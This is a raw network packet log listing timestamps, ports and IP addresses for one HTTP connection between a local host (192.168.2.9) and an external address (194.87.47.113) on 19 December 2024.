Dec 19, 2024 08:00:59.935389042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.935874939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.935980082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.936120987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.936554909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.936677933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.936712980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.937258959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.937347889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.937388897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.937963009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.938046932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.938090086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.938621998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.938720942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.938766003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.939343929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.939405918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.939440012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.940011024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.940125942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.940162897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.940690994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.940802097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.940839052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.941396952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.941507101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.941549063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.942065954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.942154884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.942199945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.942802906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.942909956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.942950964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.943499088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.943591118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.943629980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.944169998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.944278955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.944322109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.944843054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.944945097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.944984913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.945537090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.945673943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.945713043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.946225882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.946326971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.946363926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.946958065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.947032928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.947072029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.947633028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.947710991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.947746992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.948333979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.948410988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.948450089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.949007034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.949110985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.949148893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.949702978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.949791908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.949831009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.950412035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.950476885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.950519085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.951123953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.951188087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.951241016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.951746941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.951853991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.951891899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.952445984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.952558994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.952593088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.953174114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.953282118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.953322887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.953819990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.953929901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.953968048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.954533100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.954632044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.954674006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.955198050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.955297947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.955331087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.955889940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.956017971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.956052065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.956633091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.956737995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.956773996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.957273960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.957397938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.957437038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.958142996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.958214998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.958292961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.958698988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.958797932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.958834887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.959537029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.959640980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.959678888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.996953011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.116736889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.116775036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.116795063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.116827965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.117199898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.117240906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.117254019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.117273092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.117304087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.118180990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.118194103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.118206978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.118233919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.119079113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.119117022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.119123936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.119136095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.119174004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.120141029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.120152950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.120165110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.120210886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.121104002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.121117115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.121128082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.121160984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.121179104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.121942997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.121995926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.122006893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.122061014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.122867107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.122905016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.123197079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.123261929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.123274088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.123327971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.124167919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.124214888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.124217987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.124229908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.124362946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.125099897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.125144958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.125158072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.125197887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.126143932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.126156092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.126168966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.126185894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.126216888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.127051115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.127108097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.127120972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.127150059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.127957106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128005028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.128007889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128020048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128058910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.128911972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128933907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128945112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.128968954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.129883051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.129929066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.129961014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.129972935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.130023003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.130801916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.130848885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.130860090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.130886078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.131747007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.131793022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.131804943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.131819963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.131846905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.132709026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.132755995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.132766962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.132797003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.133658886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.133704901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.133709908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.133717060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.133766890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.134670019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.134721041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.134732008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.134768963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.135555029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.135601044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.135601044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.135615110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.135663986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.136516094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.136581898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.136593103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.136643887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.137598991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.137609959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.137622118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.137669086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.137695074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.138597012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.138642073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.138653040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.138693094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.139358044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.139401913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.139676094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.139702082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.139713049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.139741898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.140707970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.140719891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.140733004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.140758038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.140783072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.141602993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.141623974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.141634941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.141669989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.142529011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.142581940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.142592907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.142620087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.142649889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.143507957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.143569946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.143582106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.143613100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.144433975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.144455910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.144467115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.144473076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.144507885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.145399094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.145437956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.145448923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.145483971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.146368980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.146380901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.146393061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.146411896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.146569967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.147293091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.147355080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.147366047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.147419930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.148307085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.148327112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.148338079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.148365974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.148396969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.149173975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.149276972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.149288893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.149317026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.150135040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.150187016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.150197029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.150208950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.150242090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.151093960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.151113987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.151124954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.151146889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.152044058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.152089119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.152091980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.152101040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.152136087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.152992010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.153049946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.153060913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.153095961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.153960943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.153981924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.153994083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.154011965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.154033899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.154917002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.154938936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.154951096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.154975891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.155873060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.155925035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.156234026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.156245947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.156264067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.156301975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.157105923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.157144070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.157156944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.157160997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.157196999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.158073902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.158130884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.158143044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.158164024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.159034014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.159044981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.159065008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.159070015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.159101009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.159979105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.160023928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.160041094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.160065889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.160919905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.160979986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.161003113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.161015987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.161048889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.161871910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.161957026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.161967993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.162004948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.162832975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.162846088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.162858009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.162880898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.162908077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.163770914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.163841963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.163853884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.163873911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.164731979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.164778948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:00.164799929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:00.164813042 CET	80	49739	194.87.47.113	192.168.2.9
